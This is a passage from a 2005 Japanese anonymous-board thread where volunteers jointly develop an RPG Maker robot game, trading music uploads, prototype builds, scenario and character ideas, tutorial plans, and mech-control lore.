良い
神秘的な感じのダンジョンとかでも使えそう

ツクールの音楽をつくろう!スレで叩かれてますよ。
行って意見聞いてくれば良いと思う

>>566
しばらくぶりにやった
けっこう進んだね
戦闘以外のシステムはこんな感じで決定?

乙!

570 :ドリームリーダー763:2005/11/08(火) 21:40:08 ID:pkB/C0KD
苦戦中

571 :JUN ◆ylCNb/NVSE :2005/11/08(火) 23:49:06 ID:+ObRSUpX
ageちまえ
そして投下

【ねこイベント】
http://www.yonosuke.net/dtm/5/13029.mp3

もちろん猫萌えなイベントはあるんでしょうな

>>568
タイトルを「 赤い月の見える夜」に改めたいです
自分ネーミングセンスなさすぎです

>>569
どうもです

572 :名前は開発中のものです。:2005/11/08(火) 23:54:47 ID:qvd6Nhwx
ちょwwwwwそんな安直な(w

573 :8 ◆jS1vbFJDVk :2005/11/09(水) 00:27:55 ID:mX5StfOj
秋のうp祭り再開?心なしか住人も戻ってきているような。
>>567
そうですね、いっそタイトル画面に使ったりしても
しっくりくるかも。
夜の曲も使いでがありそうでGJです。
>>569
サンクス。まだまだ決めなきゃいけないことが山積みで。
よくないと感じた点はどんどん修正変更をしていきますが、
今の段階から大きく変わったりはしないと思います。
>>570
763さんが苦戦するものを俺がすいすい作れるはずもなく。
こちらも戦闘実装が全く進みません。お互いガンガロウ
>>571
GJ!もちろんねこだいすき。

574 :zk ◆PPcELrLkWg :2005/11/09(水) 06:59:13 ID:/Q8Cfv7l
あうあう・・・。
ノートにコーヒーこぼした・・・orz

575 :名前は開発中のものです。:2005/11/09(水) 08:28:54 ID:/TbYA4fc
サガシリーズみたいなのを作るんでしょ?もっと奇抜な発想があってもいいな。
ロボも空想科学のページいって、ロボットの知識が無いと、パーツとか漠然としたものになるよ。
リァルにしたほうがいいとは言わないが、カスタマイズ可能なロボゲームをつくりたいなら、
ロボ知識を得よ

576 :名前は開発中のものです。:2005/11/09(水) 11:33:07 ID:YMG+wOR1
それにしてもひどいスレだ
いつまでこんなおままごとをやってるつもりなの君たち

577 :名前は開発中のものです。:2005/11/09(水) 12:21:43 ID:/oeUz9Ly
>>571
猫乙
そろそろバトルの曲キボン

>>575
パーツを付け替えるっていっても、武器(腕)とか...あとエンジンと装甲、アクセサリー類くらいでないの?
ロボ特有のパーツって何が有る?

578 :8 ◆jS1vbFJDVk :2005/11/10(木) 01:26:46 ID:Z0VFJEKE
ガシャポンウォーズ予約してきた。
>>574
飲み食いしながら作業イクナイ
かくいう俺もわさビーフとお茶がないと作業できないのは秘密だ。
>>575
今はサガシリーズ風のシナリオではなくなってきていますが、
奇抜な発想があってもいいという意見には同意。
とは言っても、あんまりパーツ数が多いと複雑になって
作る方も遊ぶ方も混乱すると思います。
カスタマイズを簡略化したうえで、ロボとしての説得力を
どれだけ持たせられるかがカギでしょうか。
>>577
フレーム、エンジン、装甲、バランサー、センサー、ギア…
いろいろアイデア出てましたけど、この辺できっちり
決めておいた方がいいのかもしれませんね。意見ヨロ。

戦闘システムについて思うところがあるので実装してみます。
なるべく過去ログの意見を取り入れた仕様にするつもり。

579 :名前は開発中のものです。:2005/11/10(木) 19:09:07 ID:UHlC8WLE
戦闘期待age

今、名無しに求められてるのは何?

580 :名前は開発中のものです。:2005/11/10(木) 19:20:15 ID:JtqFBnxR
>>579
アイッディ〜ア!

581 :名前は開発中のものです。:2005/11/10(木) 20:36:15 ID:UHlC8WLE
アイディアか...どんな種類の?シナリオ?システム?イベント?

582 :8 ◆jS1vbFJDVk :2005/11/10(木) 21:37:54 ID:ZXdOcygx
>>579
実際にガッツンガッツン殴り合えるようになるのは
おそらく来年になる模様。敵思考が大変ですから。
プレイヤー側の実装は年内完成を目標にがんがります。
>>581
種類問わず。キャラやクエストのネタがうれしいかも。
あとはプロトタイプの感想、バグ報告よろ。

583 :名前は開発中のものです。:2005/11/10(木) 23:02:49 ID:+p4xreMJ
それにしてもひどいスレだ
いつまでこんなおままごとをやってるつもりなの君たち

584 :名前は開発中のものです。:2005/11/10(木) 23:28:12 ID:Xxk3+69r
複数で作るって楽しそうだなぁ

大したスキル持ってないから、募集とかかけて仮に集まっても迷惑かけるのは嫌だしってことで
1人で作ってるけど、作曲以外全部初めてだからつまづきまくりだよ(´・ω・`)
完全理系だからシナリオ進まねーorz

ぜひこのスレは完成させてほしいな、どんなに時間かかってもね
知ったのは最近だけど、JUNさんの曲も雰囲気すごくいいし
すごく楽しみにしてるから、頑張ってほしいな

585 :名前は開発中のものです。:2005/11/11(金) 00:43:04 ID:iYNjMe0d
>>583
いい加減にしろよ糞野郎
みじめったらしくしつこく煽りやがって
同じコピペしかできないのか

それとも過去にこのスレで何かうpして無視された逆恨みか?

586 :名前は開発中のものです。:2005/11/11(金) 01:03:48 ID:u5t8HLGO
>>585
まぁまぁ、こういうのには反応しないほうがいいよ
スルーが一番

587 :名前は開発中のものです。:2005/11/11(金) 05:27:12 ID:R9xAqOaw
初めて書き込みます。ネタだしに参加してもいいでしょうか?
主人公がどこでロボット操縦を覚えるかが明確になっていなさそうなのでそこの補完、
また、主人公と島の結びつきを強める=プレーヤーに印象つけるため、島キャラクターの追加。
#主人公に縁が深いことを猫系の名前でアピール
・ヒーゲ(オヤジキャラ) ・シーポ(おばちゃん) ・ミーミ(女の子、幼なじみ可)
など。
で、開放型ロボがパトレイバー世界のように工事現場で使われているなら、
主人公はそこで働き開放型ロボの操縦に熟達している、とか。ヒーゲ(仮)は現場監督。
毎日シーポおばちゃんの作るお弁当をミーミさんが届ける、など。
親友のもとに旅立つとき、見送るキャラがいた方が「島を守る」動機が強まるかも。
施設との設定に不具合がでるなら却下でいいですが、親友だけ自立していて、主人公が
プーではバランス悪そう、と感じたので考えてみました。

588 :587:2005/11/11(金) 05:36:12 ID:R9xAqOaw
同じく、ネタだしです。
「あんちゃん」のその後が無いようなので一案。
あんちゃんは稼ぎがよいので、実は帝国(自然国?)の傭兵に。
1・序盤、ベタな山賊狩りなどで再開、共同で戦う。あんちゃんとっても強い。
2・中盤、あんちゃん汚れ仕事。軍のために村を壊すような仕事。
 #農繁期の川の水をせき止めるとか、通路にするために狭い路地を解体とか。
  主人公と対立、主人公敗北、主人公ロボパワーアップのきっかけ。
3・終盤、あんちゃん情報リーク。
  「自然国の総反攻ルートに『俺たちの島』が狙われる、頼む。」とか。
 で、あんちゃんが軍を裏切って主人公達に味方して散る、などのベタな展開もありかと。

589 :名前は開発中のものです。:2005/11/11(金) 07:52:54 ID:sZZGQbfn
町は輝き始めた 季節は動いてる
この胸は いっぱいになって


590 :JUN ◆ylCNb/NVSE :2005/11/11(金) 08:01:50 ID:7AoHSR1v
>>587

上手い!
かつて無くすっきりまとまったシナリオですね...物書きの方でしょうか?
GJ!!!
続投希望!
あと・主人公が戦う「敵」について ・話の終わらせ方 ・仲間キャラとの出会い
などのシナリオが欲しい所です

>>584
どうもです!
とても励みになります
作曲のスキルをお持ちなら、一曲くらい参加してみませんか?
色んな人が作った方が、バラエティ色が出て良いと思うのです
ぜひ。

あと曲へのツッコミも希望です
リクエストも更に希望です

591 :584:2005/11/11(金) 08:39:55 ID:u5t8HLGO
え、いいのかなぁ
JUNさんと曲風全然違うし、ゲームに合うかどうかすらぁゃιぃ(汗
何より、JUNさんみたいにちゃんとしたスキルがあるってわけでm

ちょっと興味はあるけど(*ノノ)

592 :JUN ◆ylCNb/NVSE :2005/11/11(金) 08:43:13 ID:7AoHSR1v
やっちまいなー!
みんなでゴチャゴチャやったほうが面白いですよ!
なんならメロディーだけあれば、自分が伴奏作りますよ。

593 :584:2005/11/11(金) 08:46:58 ID:u5t8HLGO
うーん、メロディだけってのも何か寂しいものがw
JUNさんくらいのクオリティ求められても困りますが
そうでないなら1曲くらい参加してみたいなぁ・・・なんて

ちなみにバトル曲作るのが一番好きです(*´Д`)
不慣れな曲調でもやってみたいんで、曲調とかジャンル指定ありますかね?
ないなら自由にやっちゃいます、やっちゃったってくらいに(`・ω・´)

594 :JUN ◆ylCNb/NVSE :2005/11/11(金) 08:48:27 ID:7AoHSR1v
イェー!
すんばらしい 一緒に頑張りましょう

>>不慣れな曲調でもやってみたいんで、曲調とかジャンル指定ありますかね?
ハゲドウ
誰か指定してください

595 :584:2005/11/11(金) 08:56:09 ID:u5t8HLGO
あっと、それと
ループ構成でいいのかな?
使用場面にもよるけど1コーラスの大体の秒数指定とかなんとかかんとか
こだわらないようなら自由にやりマッスル

ちまちま基礎でも作りながらレス待つことにします(`・ω・´)ゝ

596 :587:2005/11/11(金) 12:32:02 ID:I6uw/Jl8
出張で3日ほど動けなくなりますが、このレベルで良ければ構成を考えることはできます。
過去ログや集まっているネタを把握していないので、それを整理してから、
自分の趣味をかねてとりあえず構成を作ってみます。
元物書き志望なので、こういうものをかけるのは楽しいです。

597 :JUN ◆ylCNb/NVSE :2005/11/11(金) 20:20:29 ID:V7JkPGUG
>>587
宜しくお願いします。
nanaさんもシナリオを考えておられるそうなので、最終的には色んなアイディアを擦り合わせて行けると良いですね!

他にもイベント、サブシナリオ、キャラ案など思いついた方はどんどんレスしてくださいな。短文上等。
今出たネタは相当数採用されると思います。

絵師、ドット絵師、ツクール技術者、音師なども随時受け入れ中
投稿されたイメージイラストは、「カードシステム」によって本編に登場します。
下手でも自信がなくても投下キボン!

シナリオ等まとめは>>366
ロボ設定は>>390

期待age

598 :111:2005/11/11(金) 20:45:20 ID:uYqs7+tW
あんちゃんについて出てるんで考えてたの上げるよぉ

 あんちゃんと半分機械の人を絡めちゃえ☆

・再開したあんちゃんは片足を引きずるように歩いていた・・・
・あんちゃんはイングヴェン・ソー(帝国の片手片足機械の人)と
 2人で憲兵コンビを組んでおり『ケルベロスのしっぽ』とか
 そんな感じの通り名を持つほどの強さ。このときソーはイイ人。
・自然or宗教の依頼をこなすが、口止めに殺されかけてしまう。
飛び交う銃弾、爆発し地形が変形してる。
不意打ちだった為モロに攻撃を喰らってしまい2人は瀕死状態に。
ソーが気づくと自分の左半身がやばい。辺りを見渡すと
土からちょっと出て見えるあんちゃんの手が。
爆発で土を被ってしまったのだろう。
助けようと痛さを堪え必死に掘ってみると腕だけ・・・
「うわああぁー!!」
あんちゃんが死んでしまった。
 →実際には土の中で生きてる。
そしてこれを機にソーは自然or帝国を恨み
帝国に入り、最新鋭の義手・義足(オートメイルみたいな)により自由な体を手に入れ
めでたく出世していきましたとさ。

599 :111:2005/11/11(金) 20:46:07 ID:uYqs7+tW
・一方あんちゃんは命だけは助かったが右半身がやばいことになって
義手・義足(しょぼい)を付け、ロボとは関係のない不自由な生活を送った。

・主人公達と再会し「ロボなんてもう見たくない」とか言ってしまうが
 主人公達の説得によりロボの技術や戦術等を教えてもらうことに。
・主人公vsソーの時に
 「な、そ...その動きはもしかしてあんちゃんかぁ!?」
 と動揺してる隙に主人公が撃破。
 ソーの死に際に主人公があんちゃんについて説明。
 「なんだあいつ生きてたのか・・・
  俺みたいになってなくてよかttaぁnぁ・・・」


と、まぁ>>587を気にせずに書き込んでみるテスト。
これとは別にあんちゃん=怪盗ファルコで
地上げ屋のもの盗んだりしたり、孤児院に寄付したり、ロボ持ったりの理由づけにいいなぁ〜と。
まぁ書く気力ないんで放置。

600 :584:2005/11/11(金) 23:18:04 ID:u5t8HLGO
なかなかいいフレーズが思い浮かばず作っては捨て作っては捨て(´・ω・`)
息抜きでJUNさんの戦闘曲のMIDIで再MIXして遊んでみました
ttp://emps.rash.jp/up/src/up0023.zip

JUNさんとは好みの違いがはっきり出てるような気がする
MIXのデキは到底及びませんがー

601 :8 ◆jS1vbFJDVk :2005/11/12(土) 00:32:38 ID:Q3XPezQL
なんかたくさんレスついてて…いいなぁ。こういう流れ。
>>584
楽しいですよ、複数で作るの。
>1さんもひとりでできないと思ったからこそ
スレを立てたんでしょうし、俺も一人じゃここまでできなかっただろうし。
期待も責任もあるので、できれば完成させたい。
>>587-588-596
ネタサンクス。やっぱり島にいるときに操縦できたほうが
シナリオとしてもゲームとしてもよいですよね。
あんちゃんの話なども含めて、これから過去ログやチャットで
案を統合できたらよいかと。GJ!
>>597
まとめ乙です。そういえばドット絵…
>>598-599
イングヴェンと生き埋め案、実はファルコ案…
ああ、どっちも魅力的で困る。個人的にはファルコ案が面白い。
今はネタかぶりを気にせずやっちゃってかまいませんが、
採用されなくても恨みっこなしでお願いします。

602 :nanaxes:2005/11/12(土) 00:35:35 ID:kFse2U5E
うぉぉ、にわかに活気付いている

すいません、8さん例の件もうちょっとだけ待ってください…orz

603 :JUN ◆ylCNb/NVSE :2005/11/12(土) 00:37:26 ID:lS37+mpE
>>598-599
GJ!
あんちゃんがどんどん重要キャラになっていきますね
個人的には、主役級キャラに痛い思いをさせたくないのですが...
冷徹なソーの只一人の友人があんちゃん、というのは良いですね。

人情屋のあんちゃんと冷徹なソーは、はじめは対立するものの良い友人となる
ある戦闘で奇襲を受け、ソーは半身を失う重傷を負う。あんちゃんは奇跡的に無傷。
遣りどころのない憤りをあんちゃんにぶつけるソー。
名誉の負傷で特進し、あんちゃんと離れる事になって、二人の間には致命的な溝ができ...

とか。
思いつかない。

>>600
おおおGJ!!
明快な感じで良い!
ドラムはこのくらい鳴ってた方がノリが良いなあ...ベル系もこのくらい目立った方がメリハリが出ますね。
これ音楽カードとして本編にいれられたら良いですねぇ。

「戦闘」作った頃は、まだ右も左も解らなかったので...今聞くとおかしい部分がいっぱいあります。
自分も今度作り直してみよっかな。

以前私の曲をMIDI化してくださった方、まだいらっしゃいますでしょうか?
「赤い月の見える夜」「ねこイベント」「穏やかな感じの」も、MIDI化お願いしたいのです。

604 :nanaxes:2005/11/12(土) 00:39:48 ID:kFse2U5E
あんちゃんの末路は考えてはいたんですが

やべー、こっちの2つの方が面白い

605 :8 ◆jS1vbFJDVk :2005/11/12(土) 01:44:53 ID:jgB9du5A
更新。ついに戦闘システムに手を出した。
カード、音楽関連は全くいじってません。スマソ
ttp://emps.rash.jp/up/src/up0024.zip

763さんのようなリアルタイムバトルの実装は
「現段階の技量では到底無理」と判断したので、
過去ログにあったネタのコマンド先行入力式にしてみました。
画像も用意してないのでドット絵で代用。
メッセージなどはゲージ化して常時表示するなど、
これからどんどん変化させていきます。が、
果たしてこのシステムで進めていっても大丈夫なものか。
意見ください。

606 :ドリームリーダー763:2005/11/12(土) 02:27:31 ID:5Ingpf8t
よっしゃぁぁぁ
後は微調整だ!

607 :ドリームリーダー763:2005/11/12(土) 02:30:30 ID:5Ingpf8t
盛り上がってまいりました
>>605
ギャース!
うーんどうしよう

608 :ドリームリーダー763:2005/11/12(土) 03:37:51 ID:5Ingpf8t
ttp://emps.rash.jp/up/src/up0026.zip
区切りついたんで一応うp
アイテム使用可能!グレネードも実装、自爆も可。
そして敵が無限に出てくるモードを追加。
詳しくはreadmyを参照

うーんなんだか一気にゲームくさくなってきた気がする。
ボツになってもそれなりに愛着はあるんで単体で作品にする予定。
それでもアイデアとかは当然戦闘にも出してくぞ、ヨロシク!
てか俺にも感想クレ!

>>605
あ、これはこれで良い感じ
口出しはもうちょっと進んでからかしら

ストーリー案乙、584氏もGJ!
うーん聞いてて子気味良い
やっぱ人増えてくるといいよ
どうせなら584氏もみんなで一緒にやっていこうよ。
てかホントに盛り上がってきた

609 :584:2005/11/12(土) 03:45:16 ID:RDkX5XMx
なんかオリジナル考えるより、mixのほうが楽しくなってきちゃった(*´Д`)
ちょっと浮いてるかもしれないけど、ギターを入れてみたり・・・

ttp://emps.rash.jp/up/src/up0027.zip

610 :ドリームリーダー763:2005/11/12(土) 03:57:23 ID:5Ingpf8t
>>609
ウホッ
なんだかそれっぽさが増した感じ
カッコヨス

611 :ドリームリーダー763:2005/11/12(土) 04:03:01 ID:5Ingpf8t
あ、そうだ8さん
良かったらまとめの「ドリームリーダー763による戦闘システムデモ」
のところも更新してつかぁさいめちゃくちゃ前のVerだし

612 :584:2005/11/12(土) 04:03:45 ID:RDkX5XMx
より激しく、より重くをテーマにしてみました
あと、ピアノがかっこよかったので目立たせてみたり

あんまり曲増えても容量かさんじゃうし
作っても使用場面ないとかになる気がしてきたなぁ(;´Д`)

613 :JUN ◆ylCNb/NVSE :2005/11/12(土) 08:36:21 ID:6ZRUo8yx
>>605
おお とうとうやりましたね!
戦闘導入に伴って敵グラも必要になる予感...
だれかー!!

>>608
いつもながらGJ!
ドリームリーダー氏の作品で経験値を貯めると、ろぼだまで良い事があるとか...
そういうの、良いなあ

>>609
一気にボス戦ぽくなった!
エレキギターが格好良い...これ何の音源使ってるんですか?
自分のヘタレプラグインだとこんな音出ないですよorz

ハードロックとかメタルとか、馬鹿にしないで聞かないとな
何かおすすめあります?

オリ曲もキボン

614 :584:2005/11/12(土) 08:55:48 ID:RDkX5XMx
>>JUNさん
このギターはHypersonicのクリーンギターをアンシミュ通してます
ギターの音をリアルにするなら、アンプ通すかサンプラー使うかの2択ですねぇ
自分の音はまだまだだけど(´・ω・`)

ちなみに使用音源は、88pro+Hypercanvas+Hypersonic+Battery+フリーのVST
VST使いまくってます

自分の好みは王道的なのばっかりなんですが
Lenny Kravitz、Deep purple、Motley crueなんかが好きですねぇ
あと、同人でゲーム音楽をロックアレンジしてる方もたくさんいるので
そういうのも結構参考にしてます、元がゲーム音楽なんで

オリ曲は・・・時間かかると思うけど頑張ってみますw

615 :JUN ◆ylCNb/NVSE :2005/11/12(土) 09:38:35 ID:noluQhf5
なるほどー。自分LogicなのでVSTが使えないorz
ここはひとつ頑張りましょう

616 :zk ◆PPcELrLkWg :2005/11/12(土) 15:23:09 ID:DdvqwwHb
何故か割り込みますよ
ttp://www.rupan.org/uploader/download/1131776226608263.2VL5yk

念のため
普通  robodama.zip pass:robo

俺が製作してい た RPG用の音楽(元)です。
途中で挫折したんでいろんな意味で痛い物がありますがそこらへんは気にしない方向で。
(しかも2003だからMIDI)
腐らせておくより燃料にでもなればいいなと思いうpしました。


聞き流してください。戯言です。


617 :名前は開発中のものです。:2005/11/12(土) 15:32:14 ID:8E2pb+Oj
じゃあ俺も作ろうかな。
その前にシナリオとか追って雰囲気つかまないといかんが。

そしてWAVで公開する

618 :JUN ◆ylCNb/NVSE :2005/11/12(土) 16:16:01 ID:AZ9fJlaT
音師登場キター!
嬉しいです。どんどん投下しちゃってください。

>>616
ボッサがお好きなのでしょうか?ジャジーな感じですね。
一曲、アレンジしてみてもよろしいでしょうか?
燃料乙!続投希望!

>>617
激しくキボン
だがmp3にしときなさい。

音師仲間がいると、とても心強いです。
学び合いましょう。

619 :zk ◆PPcELrLkWg :2005/11/12(土) 16:21:47 ID:DdvqwwHb
>JUN氏
アレンジというかもうね、何て言うの?改造?っていうレベルなのでご自由にどうぞ。

wikiに上げそこねたのは秘密だ!




620 :JUN ◆ylCNb/NVSE :2005/11/12(土) 22:02:49 ID:nAGzjvia
>>616のzk氏の曲 tes7をアレンジしてみた
【寂れた町の風景】
http://www.yonosuke.net/dtm/5/13112.mp3

感想キボン

621 :8 ◆jS1vbFJDVk :2005/11/12(土) 22:34:37 ID:a3mwil5G
この上なく盛り上がって参りました。
>>608
ではもう少しゲームっぽくなってきたら
容赦なく口出しをお願いします。
…この方式で今のところは大丈夫?
>>609-612
おおっ、乙です。しかしまだ物足りない気も。
容量は…完成版に入れるということでどうでしょう?
プロトタイプのサイズはなるべく大きくしたくないので。
>>611
おk、とりあえずそこだけは更新しました。
あとでプロトタイプのリンクも修正入れます。
>>613
>ろぼだまで良い事
クリア時にパスワードを入手できて、それを打ち込むと…とか。
>>616
なぜか聞き惚れたりちょっと違和感感じたりしましたよ。
>>620
アレンジGJ!これはぜひメインシナリオで使いたい。

622 :584:2005/11/12(土) 23:02:48 ID:RDkX5XMx
>>620
うわー、すごい雰囲気出てていいなぁ
原曲聴けなかったのが残念だ・・・

なんとなくだけど、寂れた街にしてはなんか綺麗すぎるかなーなんて思ったり
切ないイベントとか、夕方のシーンに使うのはどうでしょ

623 :名前は開発中のものです。:2005/11/12(土) 23:44:30 ID:8E2pb+Oj
まとめサイトを見たわけですが…

どんなシーンに使うBGMが必要なのかわからないぜ!
あれなのか、ベタ打ちなのでSFCのゲームにありそうな感じになりますが
それでもよろしくて?


624 :名前は開発中のものです。:2005/11/12(土) 23:45:27 ID:8E2pb+Oj
しまった書き込み成功してしまったスマソ

625 :587:2005/11/13(日) 01:24:27 ID:607XuMsV
出先でも書き込める環境があったので、顔出しに来ました。
111さんやそのほかの方とと競合する形になるようですが、没を恐れずネタだしをいくつか。

□システム系提案
主人公機の各パーツは、単純な上位互換を用意しないということであれば
長所短所を併せ持つパーツ群に囲まれるため、多くのパーツ・装備を保有することになる。
最初は親友のガレージか何かに保管しておけばよく、親友のガレージが拡張していくのは、
成長ゲーのようで楽しいだろう。が、このゲームは世界中を旅する設定のようなので、
セットアップが特定の街でしか行えない、となると辛い。
アイテム転送装置とかデブチョコボみたいなのを作っても良いけど、世界観が厳しい。
よって、イベントにより親友が移動トレーラーを保有するようになり、その後はどこでも
セットアップ可能、とかになるとよいかも。
主人公はロボットに乗ればいいが、親友はどうやって移動しているか?などの点も解決
できるのではないか。

626 :587:2005/11/13(日) 01:36:57 ID:607XuMsV
□簡易シナリオ展開案・チュートリアルの充実という観点から。
序章1:島
・1.ロボの移動等チュートリアル
  作業ロボを用いたバイト任務
   例)港にて積み荷の上げ下ろし。ダッシュ操作、つかみ操作、など。
    #主人公の技能説明(制御機構(シェル?)との特殊な交信が可能、とか)
    #人物紹介 主人公、親方、親方の娘、とか。
2.戦闘チュートリアル
  作業ロボによる戦闘行動
   例)金持ちアホ親子による猛獣密輸入失敗の尻ぬぐい
    (船から逃げ出した猛獣を3匹倒す、4匹目はボス、とか)
3.カード操作チュートリアル
  カードを使ったイベントの実施
   例)港での騒動を収めて帰宅した主人公が、親友とあんちゃんと3人で写っている
     写真データのあるカードを開く。など
この後、鳥が来て島編終了。

627 :587:2005/11/13(日) 02:05:37 ID:607XuMsV
つづき
序章2:親友ガレージ、親友の居る街
・1.ロボのセットアップチュートリアル
   ロボのセットアップ、命名
   例)再会した親友に、ロボ玉の特製を聞く。
     ロボ玉は期待の制御が高性能になることと引き替えに、操縦者と相性問題が
     きわめて強く発生する。シェルの声を聞こえる主人公でないとくみ上げられない、
     などの理由をつけて機体完成に立ち会う。
    #この時点では戦闘装備なし、金なし。
    #解説役=親友 
・2.何でも屋の依頼こなしチュートリアル
   初登録、初依頼(非戦闘任務)
   例)何でも屋の事務所で、ベテラン(=アルヴェン?)に教えられながら
     初任務。岩を砕いて鉱石をみつける、など。
・3.何でも屋の依頼こなしチュートリアル 2
   戦闘任務
   例)貯めた金で武器を一つでも仕入れると、アルヴェンが「狩り」任務に
     連れて行ってくれる。

その後、暫く自由に依頼を選べる。

628 :587:2005/11/13(日) 02:09:34 ID:607XuMsV
つづき3
#一定数の任務をこなす、所持金が定額を超える、など条件を満たすと、
「隊商護衛任務」が発生、他の街へ移動出来るようになる。
#同様に、条件を満たすと、
「親友用大型トレーラー入手任務」
「闘技場参加任務」
などで可能行動が増えていく。

☆中盤、主人公機大破、改修に時間が掛かる間に戦局激化。
→依頼は殺伐とした軍事物が増える。

☆終盤、主人公機、主人公、親友はロボ玉(実は遺跡技術、とか)の
情報・技術を求める各国の軍に マークされる。(自分自身が賞金首になるなど)
→逃亡と遺跡巡りの始まり

そして、「島」を巡る最終決戦に・・・。

など、依頼をこなしていると、強制イベントが入りシナリオが進む形はどうでしょう?
島を出るまでは「プロローグを飛ばす」でカットできて、いきなり親友との再会から
ゲームすることも可能、とか。

大変な長文書き込み、失礼しました。

629 :587:2005/11/13(日) 02:21:39 ID:607XuMsV
すみません、過去ログを十分に見れていないのですが、
親友トレーラーは「キャリア」という名ですでに検討済みらしいですね。
以後、もう少し気をつけます。

630 :JUN ◆ylCNb/NVSE :2005/11/13(日) 07:44:38 ID:FWeOMGSA
>>587
...すっげえ
今まで苦心しながらちびちび作ってたのを、さらっと奇麗にまとめましたな。
あか抜けた感じになりましたね!

>> →逃亡と遺跡巡りの始まり
これがすごく良いです!
なるほど 軍と戦う動機としちゃ十分ですね
しかも明確な「悪」を設定しなくて済む。

GJ!!!!
もっと、もっと!!

>>622
なるほど
後半部が特に、さびれてないですね。
自分ネーミングが下手なので、タイトルとか皆さんで考えちゃってください。

ちなみに原曲はまだ落とせますよ。

>>623
自分も特に、シーンを指定されて作ってる訳ではないので...
とりあえず作ってみて、出来てから当てはめる感じで良いと思いますよ。

今の所、私の趣味で寂しい系、不思議系が充実しちゃってるので、
勇壮な曲、ハデな曲が欲しい所です

>>ベタ打ちなので
よろしくってよ

昔つくった中途半端な曲とか、持ってる方がいらっしゃいましたら投下希望
アレンジして本編に登場しますよ たぶん

631 :584:2005/11/13(日) 09:02:00 ID:9gQVLC74
昔作った曲晒してみます
公開とかしてなかったんで、使えるかなーとか
なんとなくギャグ担当の3人組の敵が思い浮かびました

ttp://www.yonosuke.net/dtm/5/13132.mp3


632 :ドリームリーダー763:2005/11/13(日) 14:41:44 ID:nmQCdp1P
ストーリーすげぇ
音楽もすげぇ
ホントに盛り上がってきた

ところで21:00ごろから多分チャットにいますので
よかったらどうぞ

633 :zk ◆PPcELrLkWg :2005/11/13(日) 17:31:12 ID:3UQnQ1Zq
>8氏
今後の参考にするのでどれに違和感あったか教えていただけるとありがたいでふ

634 :8 ◆jS1vbFJDVk :2005/11/13(日) 21:12:53 ID:fEldPEvA
>>623
ベタカモーン
曲の需要に関しては>>630参照。
どんな曲が必要かはあまり気にせずやってみてください。
>>625-629
ベリー乙。シナリオとチュートリアルの両立、
終盤への流れも特に破綻がないように思います。
主人公の乗り換えイベントを用意したり、
ロボットもののツボもしっかり押さえてますし。
プロローグスキップはテストプレイの段階なら
必要だろうと考えていましたが、
完成版にも用意したほうが親切ですかね。
>>631
GJ!こういう曲も大好物。
>>632
おk、少し遅れます。
>>633
特に違和感が強いのは1,3,6ですね。
専門的なことはわかりませんが、1と3は音程。
6は楽器ごとのテンポが合ってない気がします。

635 :8 ◆jS1vbFJDVk :2005/11/13(日) 22:08:48 ID:0o9abRz7
チャット中。

636 :ドリームリーダー763:2005/11/14(月) 03:39:55 ID:Y3IvR/Jn
ttp://up.php-s.net/up.php?id=tabiji&time=1131901494&ext=.jpg
ロボ描いてみた
帝国主力機みたいな感じ

637 :8 ◆jS1vbFJDVk :2005/11/14(月) 03:53:46 ID:XgG9u9I4
チャット終了。非常に眠いがまとめを書いておきます。
ろぼだまの大まかなテーマが決まりました。

・テーマは「あたたかみ」
・主人公はもちろん、親友もあんちゃんもイングヴェンなども
 登場人物は皆「根はあたたかい」けど、戦争などの事情で
 表面が冷たくなってしまっている
・主人公とロボはその冷たい部分を取り除く役目
・終盤は「冷たいマシーン」と戦うことになる?
ログ公開した方がわかりやすいかもしれません。
希望があれば編集してうpします。

そして、こちらはチャット参加者から。
・もう少ししたら、新絵師さんが新規参戦するかも
・763さんロボ絵師としても始動、手始めに>>636投下
・JUNさん大量作曲予約

では、寝ます。みなさん今日はありがとう&乙でした。

638 :nanaxes:2005/11/14(月) 05:30:45 ID:BZ6KN/dO
寝落ち ごみん

639 :587:2005/11/14(月) 07:28:27 ID:w8LNbSla
「キカイスキーのメモ」より抜粋。
 このような要因から、量産型のチェアードタイプでは、指の本数
を3本から2本程度に減らし、機構を単純かしているものが大半で
ある。軍用のアーマードタイプなどは、極めて高品質のシェルを使
用しているため、5本指などでも制御可能にはなっている。
#この点で、おもしろい情報がある。帝国アカデミーは、手の指一
つ一つに制御シェルを設置するのではなく、手首全体に手の制御を
行う複合処理シェルの開発に成功した。各関節には高性能のシェル
は必要なく、簡単な受信用のシェルだけを置き、手首に全体を制御
するシェルをおけばよいのであれば、機構としてとても合理的だ。
それなら、腕全体を一つの統合シェルで制御したら?下半身を独立
して制御させたら?ロボ全体を制御させたらどうなるだろう・・・。

++++++++++++++++++++++++++++
587です。ロボ関連の設定をまとめサイトに書いてきました。
今までのネタをそれほど否定していないと思うのですが、どうでしょう?

640 :zk ◆PPcELrLkWg :2005/11/14(月) 12:53:21 ID:/2fMvUOn
盛り上がってキター!
あまりにも盛り上がってるんで昼休みに覗いてます。

1、3はどうやらわりと古い作品のようです。6は・・・切腹!

641 :8 ◆jS1vbFJDVk :2005/11/14(月) 23:30:32 ID:bml5PsbX
更新。低クオリティながらコクピットビューに変更。
キャラカードもリスト化しました。
ttp://emps.rash.jp/up/src/up0028.zip

>>638
ドンマイ。でもちょっと残念。
>>639
力作乙。新しい単語や設定が出てきているものの、
これまでと大きく違うものではなさそうですね。
俺としてはこういったメカ設定を表に出すのは
あまり好きではないので、親友宅の本棚で
好きなときに読める程度にしておきたいくらいに
考えているのですが、どうでしょう?
>>640
介錯!

642 :ドリームリーダー763:2005/11/15(火) 00:59:29 ID:OQToEjpx
コクピットにはできるのかよ!

俺の見れば解ると思うけどこっちが歩くなら背景も動かさな
そうせな敵が歩いてるように見える
あとエンジンかかってる感を出すために常時画面上のどっかを揺らしとけ!

あと今ターン性だけどFFみたいなアクティブゲージ性にはできる?

643 :587:2005/11/15(火) 01:17:30 ID:gtWC+vGJ
『その<ロボ玉>ってなんなんだよ?』
「へへ、よくぞ聞いてくれました。普通のロボが金肉の制御にシェ
ルを使ってるのは知ってるだろ?でも、それだとロボットの関節ご
とにシェルが必要になる。シェルは高いし、それにすぐ『貝が合わ
ない』ってことになるだろ?だからパーツ変えるたびに相性の良い
新しいシェルが必要になる。
 そこで、さ。シェルを一カ所にまとめて、そっから全部集中して
金肉を制御したら便利そうだろ?僕たちの体の脳みたいにさ。」
『そんなことできるのか!?』
「普通は無理だね。でもこの僕ならできるのさ!って、実はそんな
にたいしたことじゃないのかもしれない。遺跡時代のロボはそうい
う技術を使っているんだ。復元に成功しただけだよ」
『すごいじゃないか!』
